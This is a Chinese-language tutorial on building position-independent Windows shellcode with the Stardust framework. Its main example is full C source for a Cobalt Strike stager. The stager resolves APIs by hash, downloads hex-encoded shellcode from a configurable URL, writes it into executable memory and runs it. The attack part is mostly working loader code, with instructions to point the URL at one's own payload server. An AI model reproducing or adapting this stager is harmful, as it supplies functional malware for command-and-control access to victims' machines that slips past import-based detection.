使用Stardust框架编写Shellcode

简介

Stardust项目地址:https://github.com/Cracked5pider/Stardust/tree/main

Stardust是一款用于编写Shellcode的框架,使用MinGW G++进行编译且依赖Linux环境,因此推荐使用VSCode来作为代码编辑器并搭配WSL的KaliLinux作为远程Linux系统。这样的好处是,当生成shellcode的二进制文件时,可以立马调用scripts目录的loader.exe来测试shellcode能否正常运行

image-20240222145611348

框架使用

Stardust项目的src目录用于存放源码文件,include目录存放头文件,而我们主要是在src目录的Main.c编写shellcode

在Main.c中,若要定义一个函数时,需要在其开头加上关键字FUNC

image-20240222151528451

当需要调用Windows Api时,你先要在Common.h声明API函数和其所在Dll的名称,这里以MessageBoxW为例

image-20240222155031277

以下是使用Windows API的代码格式:

// resolve user32.dll related functions
//
if ((Instance()->Modules.User32 = Instance()->Win32.LoadLibraryW(L"User32")))
{
    if (!(Instance()->Win32.MessageBoxW = LdrFunction(Instance()->Modules.User32, HASH_STR("MessageBoxW"))))
    {
        return;
    }
}

代码编写完成后在linux终端输入make命令进行编译

image-20240222160257966

随后会在项目的bin目录生成raw文件(shellcode)

image-20240222160340422

将raw文件移至script目录,在windows终端使用loader.x64.exe来加载shellcode,以此测试是否成功

image-20240222160606895

使用案例

编写CS Stager的上线shellcode

如下代码演示了如何编写CS Stager类型的shellcode,首先需要一个存放有stagerless类型的shellcode的url。其实从这段代码可以看出,在Main函数对win32api进行声明后就不用在其他函数再进行声明了,但是其他函数若要调用win32api,则需在其函数体内加上关键字STARDUST_INSTANCE

#include <Constexpr.h>
#include <Common.h>
 
FUNC unsigned char hexCharToByte(char character) {
    STARDUST_INSTANCE

    if (character >= '0' && character <= '9') {
        return character - '0';
    }
    if (character >= 'a' && character <= 'f') {
        return character - 'a' + 10;
    }
    if (character >= 'A' && character <= 'F') {
        return character - 'A' + 10;
    }
    return 0;
}

// 将十六进制字符串转换成字节型数组
FUNC void hexStringToBytes(const char* hexString, unsigned char* byteArray, int byteArraySize) {
    STARDUST_INSTANCE

    int i;
    for (i = 0; i < byteArraySize * 2; i += 2) {
        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
    }
}

FUNC size_t GetUrl_HexContent(LPSTR url, unsigned char* buffer, size_t buffer_size) {
    STARDUST_INSTANCE

    HINTERNET hInternet, hConnect;
    DWORD bytesRead;
    DWORD bufferSize = 0;
    DWORD contentLength = 0;
    DWORD index = 0;
    DWORD bufferLength = sizeof(bufferSize);

    Instance()->Win32.printf("Downloading shellcode from %s\n", url);

    // 打开一个与互联网的连接
    hInternet = Instance()->Win32.InternetOpenA("User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {
        Instance()->Win32.printf("InternetOpen failed. Error: %ld\n", Instance()->Win32.GetLastError());
        return 0;
    }

    // 打开一个URL连接
    hConnect = Instance()->Win32.InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {
        Instance()->Win32.printf("InternetOpenUrlA failed. Error: %ld\n", Instance()->Win32.GetLastError());
        Instance()->Win32.InternetCloseHandle(hInternet);
        return 0;
    }

    // 查询HTTP响应头中的内容长度
    Instance()->Win32.HttpQueryInfoA(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
    unsigned char* hexBuffer = (unsigned char*)Instance()->Win32.malloc(contentLength + 1);
    if (hexBuffer == NULL) {
        Instance()->Win32.printf("Memory allocation failed.\n");
        Instance()->Win32.InternetCloseHandle(hConnect);
        Instance()->Win32.InternetCloseHandle(hInternet);
        return 0;
    }

    // 读取URL返回的内容到hexBuffer中
    if (!Instance()->Win32.InternetReadFile(hConnect, hexBuffer, contentLength, &bytesRead)){
        
        Instance()->Win32.printf("InternetReadFile failed. Error: %ld\n", Instance()->Win32.GetLastError());
        Instance()->Win32.free(hexBuffer);
        Instance()->Win32.InternetCloseHandle(hConnect);
        Instance()->Win32.InternetCloseHandle(hInternet);
        return 0;
    }
    else if (bytesRead > 0) {
        hexBuffer[bytesRead] = '\0';
        // 调整buffer的大小,以便存储转换后的字节数据
        size_t size = bytesRead / 2;
        if (size > buffer_size) {
            Instance()->Win32.printf("Buffer size too small.\n");
            Instance()->Win32.free(hexBuffer);
            Instance()->Win32.InternetCloseHandle(hConnect);
            Instance()->Win32.InternetCloseHandle(hInternet);
            return 0;
        }
        // 将十六进制字符串转换为字节型数组
        hexStringToBytes((char*)hexBuffer, buffer, size);
    }

    // 关闭连接
    Instance()->Win32.InternetCloseHandle(hConnect);
    Instance()->Win32.InternetCloseHandle(hInternet);
    Instance()->Win32.free(hexBuffer);

    // 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)
    return bytesRead / 2;
}


FUNC VOID test(){
    
    STARDUST_INSTANCE
    Instance()->Win32.printf("test\n");
}

FUNC VOID Main(
    _In_ PVOID Param)
{
    STARDUST_INSTANCE

    PVOID Message = {0};

    //
    // resolve kernel32.dll related functions
    //
    if ((Instance()->Modules.Kernel32 = LdrModulePeb(H_MODULE_KERNEL32)))
    {
        if (!(Instance()->Win32.LoadLibraryW = LdrFunction(Instance()->Modules.Kernel32, HASH_STR("LoadLibraryW"))))
        {
            return;
        }

        if (!(Instance()->Win32.GetLastError = LdrFunction(Instance()->Modules.Kernel32, HASH_STR("GetLastError"))))
        {
            return;
        }
        if (!(Instance()->Win32.GetProcessHeap = LdrFunction(Instance()->Modules.Kernel32, HASH_STR("GetProcessHeap"))))
        {
            return;
        }
        if (!(Instance()->Win32.VirtualAlloc = LdrFunction(Instance()->Modules.Kernel32, HASH_STR("VirtualAlloc"))))
        {
            return;
        }
    }

    //
    // resolve user32.dll related functions
    //
    if ((Instance()->Modules.User32 = Instance()->Win32.LoadLibraryW(L"User32")))
    {
        if (!(Instance()->Win32.MessageBoxW = LdrFunction(Instance()->Modules.User32, HASH_STR("MessageBoxW"))))
        {
            return;
        }
        if (!(Instance()->Win32.wsprintfW = LdrFunction(Instance()->Modules.User32, HASH_STR("wsprintfW"))))
        {
            return;
        }
    }

    // resolve Winnet.dll related functions
    if ((Instance()->Modules.Wininet = Instance()->Win32.LoadLibraryW(L"WININET")))
    {
        if (!(Instance()->Win32.InternetOpenA = LdrFunction(Instance()->Modules.Wininet, HASH_STR("InternetOpenA"))))
        {
            return 0;
        }
        if (!(Instance()->Win32.InternetOpenUrlA = LdrFunction(Instance()->Modules.Wininet, HASH_STR("InternetOpenUrlA"))))
        {
            return 0;
        }
        if (!(Instance()->Win32.InternetReadFile = LdrFunction(Instance()->Modules.Wininet, HASH_STR("InternetReadFile"))))
        {
            return 0;
        }
        if (!(Instance()->Win32.HttpQueryInfoA = LdrFunction(Instance()->Modules.Wininet, HASH_STR("HttpQueryInfoA"))))
        {
            return 0;
        }
        if (!(Instance()->Win32.InternetCloseHandle = LdrFunction(Instance()->Modules.Wininet, HASH_STR("InternetCloseHandle"))))
        {
            return 0;
        }
    }

    // resovle MSVCRT.dll related functions
    if ((Instance()->Modules.MSVCRT = Instance()->Win32.LoadLibraryW(L"MSVCRT")))
    {
        if (!(Instance()->Win32.printf = LdrFunction(Instance()->Modules.MSVCRT, HASH_STR("printf"))))
        {
            return;
        }
        if (!(Instance()->Win32.free = LdrFunction(Instance()->Modules.MSVCRT, HASH_STR("free"))))
        {
            return;
        }
        if (!(Instance()->Win32.malloc = LdrFunction(Instance()->Modules.MSVCRT, HASH_STR("malloc"))))
        {
            return;
        }
        if (!(Instance()->Win32.memcpy = LdrFunction(Instance()->Modules.MSVCRT, HASH_STR("memcpy"))))
        {
            return;
        }
    }

        
    //Message = NtCurrentPeb()->ProcessParameters->ImagePathName.Buffer;
    
   
    // 把这个URL换成你的shellcode文件的URL
    const char* url = "http://127.0.0.1:7000/payload_x64.txt";

    // 存放恶意代码的数组
    size_t buffer_size = 320000; // 设定缓冲区大小
    unsigned char* buffer = (unsigned char*)Instance()->Win32.malloc(buffer_size);
    if (buffer == NULL) {
        Instance()->Win32.printf("Memory allocation failed.\n");
        return 1;
    }

    // 获取远程url的16进制内容,并将其存放至buffer数组
    size_t size = GetUrl_HexContent((LPSTR)url, buffer, buffer_size);

    //打印buffer数组的前1000个字节
    for (int i = 0; i < 1000; i++) {
        Instance()->Win32.printf("%02x ", buffer[i]);
    }
    

    if (size == 0) {
        Instance()->Win32.printf("Failed to get hex content from URL.\n");
        Instance()->Win32.free(buffer);
        return 1;
    }

    // 在内存中分配一块可以执行的区域
    char* exec = Instance()->Win32.VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec == NULL) {
        Instance()->Win32.printf("VirtualAlloc failed. Error: %ld\n", Instance()->Win32.GetLastError());
        Instance()->Win32.free(buffer);
        return 1;
    }


    // 将shellcode复制到该区域
    Instance()->Win32.memcpy(exec, buffer, size);

    // 执行该shellcode
    ((void(*)())exec)();
    
    Instance()->Win32.free(buffer);
    return;
}

最后更新于